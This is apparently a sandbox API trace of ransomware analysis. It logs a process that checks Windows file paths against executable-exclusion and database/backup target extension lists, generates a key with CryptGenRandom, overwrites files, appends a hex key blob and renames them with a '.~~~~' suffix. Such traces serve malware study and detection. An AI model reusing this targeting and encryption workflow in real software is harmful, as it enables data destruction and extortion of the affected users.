	[0083.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".cpl") returned 0x0
	[0083.274] lstrlenW (lpString=".sys") returned 4
	[0083.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".sys") returned 0x0
	[0083.274] lstrlenW (lpString=".msc") returned 4
	[0083.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".msc") returned 0x0
	[0083.274] lstrlenW (lpString=".com") returned 4
	[0083.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".com") returned 0x0
	[0083.274] lstrlenW (lpString=".lnk") returned 4
	[0083.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".lnk") returned 0x0
	[0083.274] lstrlenW (lpString=".msp") returned 4
	[0083.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".msp") returned 0x0
	[0083.275] lstrlenW (lpString=".pif") returned 4
	[0083.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".pif") returned 0x0
	[0083.275] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.275] lstrlenW (lpString=".sqb") returned 4
	[0083.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".sqb") returned 0x0
	[0083.275] lstrlenW (lpString=".ost") returned 4
	[0083.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".ost") returned 0x0
	[0083.275] lstrlenW (lpString=".txt") returned 4
	[0083.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".txt") returned 0x0
	[0083.275] lstrlenW (lpString=".mdt") returned 4
	[0083.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".mdt") returned 0x0
	[0083.275] lstrlenW (lpString=".BDB") returned 4
	[0083.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".BDB") returned 0x0
	[0083.275] lstrlenW (lpString=".eql") returned 4
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".eql") returned 0x0
	[0083.276] lstrlenW (lpString=".DBF") returned 4
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".DBF") returned 0x0
	[0083.276] lstrlenW (lpString=".EQL") returned 4
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".EQL") returned 0x0
	[0083.276] lstrlenW (lpString=".FDB") returned 4
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".FDB") returned 0x0
	[0083.276] lstrlenW (lpString=".EDB") returned 4
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".EDB") returned 0x0
	[0083.276] lstrlenW (lpString=".DACPAC") returned 7
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".DACPAC") returned 0x0
	[0083.276] lstrlenW (lpString=".VHD") returned 4
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".VHD") returned 0x0
	[0083.276] lstrlenW (lpString=".DBV") returned 4
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".DBV") returned 0x0
	[0083.276] lstrlenW (lpString=".dacpac") returned 7
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".dacpac") returned 0x0
	[0083.276] lstrlenW (lpString=".sdf") returned 4
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".sdf") returned 0x0
	[0083.276] lstrlenW (lpString=".accdb") returned 6
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".accdb") returned 0x0
	[0083.276] lstrlenW (lpString=".DBX") returned 4
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".DBX") returned 0x0
	[0083.276] lstrlenW (lpString=".MDT") returned 4
	[0083.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".MDT") returned 0x0
	[0083.276] lstrlenW (lpString=".SQB") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".SQB") returned 0x0
	[0083.277] lstrlenW (lpString=".vhd") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".vhd") returned 0x0
	[0083.277] lstrlenW (lpString=".bac") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".bac") returned 0x0
	[0083.277] lstrlenW (lpString=".mdf") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".mdf") returned 0x0
	[0083.277] lstrlenW (lpString=".BAK") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".BAK") returned 0x0
	[0083.277] lstrlenW (lpString=".BAC") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".BAC") returned 0x0
	[0083.277] lstrlenW (lpString=".dbs") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".dbs") returned 0x0
	[0083.277] lstrlenW (lpString=".vhdx") returned 5
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".vhdx") returned 0x0
	[0083.277] lstrlenW (lpString=".NDF") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".NDF") returned 0x0
	[0083.277] lstrlenW (lpString=".dat") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".dat") returned 0x0
	[0083.277] lstrlenW (lpString=".DBS") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".DBS") returned 0x0
	[0083.277] lstrlenW (lpString=".CKP") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".CKP") returned 0x0
	[0083.277] lstrlenW (lpString=".edb") returned 4
	[0083.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".edb") returned 0x0
	[0083.278] lstrlenW (lpString=".PST") returned 4
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".PST") returned 0x0
	[0083.278] lstrlenW (lpString=".dbf") returned 4
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".dbf") returned 0x0
	[0083.278] lstrlenW (lpString=".SQL") returned 4
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".SQL") returned 0x0
	[0083.278] lstrlenW (lpString=".pst") returned 4
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".pst") returned 0x0
	[0083.278] lstrlenW (lpString=".dbv") returned 4
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".dbv") returned 0x0
	[0083.278] lstrlenW (lpString=".SDF") returned 4
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".SDF") returned 0x0
	[0083.278] lstrlenW (lpString=".dtxs") returned 5
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".dtxs") returned 0x0
	[0083.278] lstrlenW (lpString=".db3") returned 4
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".db3") returned 0x0
	[0083.278] lstrlenW (lpString=".OST") returned 4
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".OST") returned 0x0
	[0083.278] lstrlenW (lpString=".dbx") returned 4
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".dbx") returned 0x0
	[0083.278] lstrlenW (lpString=".DB3") returned 4
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".DB3") returned 0x0
	[0083.278] lstrlenW (lpString=".DAT") returned 4
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".DAT") returned 0x0
	[0083.278] lstrlenW (lpString=".VHDX") returned 5
	[0083.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".VHDX") returned 0x0
	[0083.279] lstrlenW (lpString=".ndf") returned 4
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".ndf") returned 0x0
	[0083.279] lstrlenW (lpString=".DB") returned 3
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".DB") returned 0x0
	[0083.279] lstrlenW (lpString=".sql") returned 4
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".sql") returned 0x0
	[0083.279] lstrlenW (lpString=".MYD") returned 4
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".MYD") returned 0x0
	[0083.279] lstrlenW (lpString=".DBT") returned 4
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".DBT") returned 0x0
	[0083.279] lstrlenW (lpString=".ACCDB") returned 6
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".ACCDB") returned 0x0
	[0083.279] lstrlenW (lpString=".fdb") returned 4
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".fdb") returned 0x0
	[0083.279] lstrlenW (lpString=".bak") returned 4
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".bak") returned 0x0
	[0083.279] lstrlenW (lpString=".myd") returned 4
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".myd") returned 0x0
	[0083.279] lstrlenW (lpString=".DTXS") returned 5
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".DTXS") returned 0x0
	[0083.279] lstrlenW (lpString=".ckp") returned 4
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".ckp") returned 0x0
	[0083.279] lstrlenW (lpString=".dbt") returned 4
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".dbt") returned 0x0
	[0083.279] lstrlenW (lpString=".db") returned 3
	[0083.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".db") returned 0x0
	[0083.279] lstrlenW (lpString=".TXT") returned 4
	[0083.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".TXT") returned 0x0
	[0083.280] lstrlenW (lpString=".MDF") returned 4
	[0083.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".MDF") returned 0x0
	[0083.280] lstrlenW (lpString=".bdb") returned 4
	[0083.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".bdb") returned 0x0
	[0083.280] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.280] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0083.281] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.281] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.281] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20327161722) returned 1
	[0083.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b7a2750, dwHighDateTime=0x1d60e1e)) 
	[0083.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2100
	[0083.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2100 | out: hHeap=0x300000) returned 1
	[0083.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0083.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0083.282] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0083.282] GetLastError () returned 0x0
	[0083.283] GetLastError () returned 0x0
	[0083.283] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0083.283] GetLastError () returned 0x0
	[0083.283] GetLastError () returned 0x0
	[0083.284] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffdd9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.284] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x227, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x227, lpOverlapped=0x0) returned 1
	[0083.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.284] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.285] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.285] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.285] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.285] CloseHandle (hObject=0x124) returned 1
	[0083.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a52f8
	[0083.285] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.~~~~")) returned 1
	[0083.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a52f8 | out: hHeap=0x300000) returned 1
	[0083.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.288] GetLastError () returned 0x0
	[0083.288] RtlWakeConditionVariable () returned 0x365f70
	[0083.288] GetCurrentThreadId () returned 0x3a4
	[0083.288] GetCurrentThreadId () returned 0x3a4
	[0083.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4270 | out: hHeap=0x300000) returned 1
	[0083.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2138 | out: hHeap=0x300000) returned 1
	[0083.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4270
	[0083.288] lstrlenW (lpString=".scr") returned 4
	[0083.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0083.288] lstrlenW (lpString=".cmd") returned 4
	[0083.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0083.288] lstrlenW (lpString=".dll") returned 4
	[0083.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0083.288] lstrlenW (lpString=".bat") returned 4
	[0083.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0083.288] lstrlenW (lpString=".cpl") returned 4
	[0083.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0083.288] lstrlenW (lpString=".sys") returned 4
	[0083.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0083.289] lstrlenW (lpString=".msc") returned 4
	[0083.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0083.289] lstrlenW (lpString=".com") returned 4
	[0083.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0083.289] lstrlenW (lpString=".lnk") returned 4
	[0083.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0083.289] lstrlenW (lpString=".msp") returned 4
	[0083.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0083.289] lstrlenW (lpString=".pif") returned 4
	[0083.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0083.289] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.289] lstrlenW (lpString=".sqb") returned 4
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0083.290] lstrlenW (lpString=".ost") returned 4
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0083.290] lstrlenW (lpString=".txt") returned 4
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0083.290] lstrlenW (lpString=".mdt") returned 4
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0083.290] lstrlenW (lpString=".BDB") returned 4
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0083.290] lstrlenW (lpString=".eql") returned 4
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0083.290] lstrlenW (lpString=".DBF") returned 4
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0083.290] lstrlenW (lpString=".EQL") returned 4
	[0083.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0083.290] lstrlenW (lpString=".FDB") returned 4
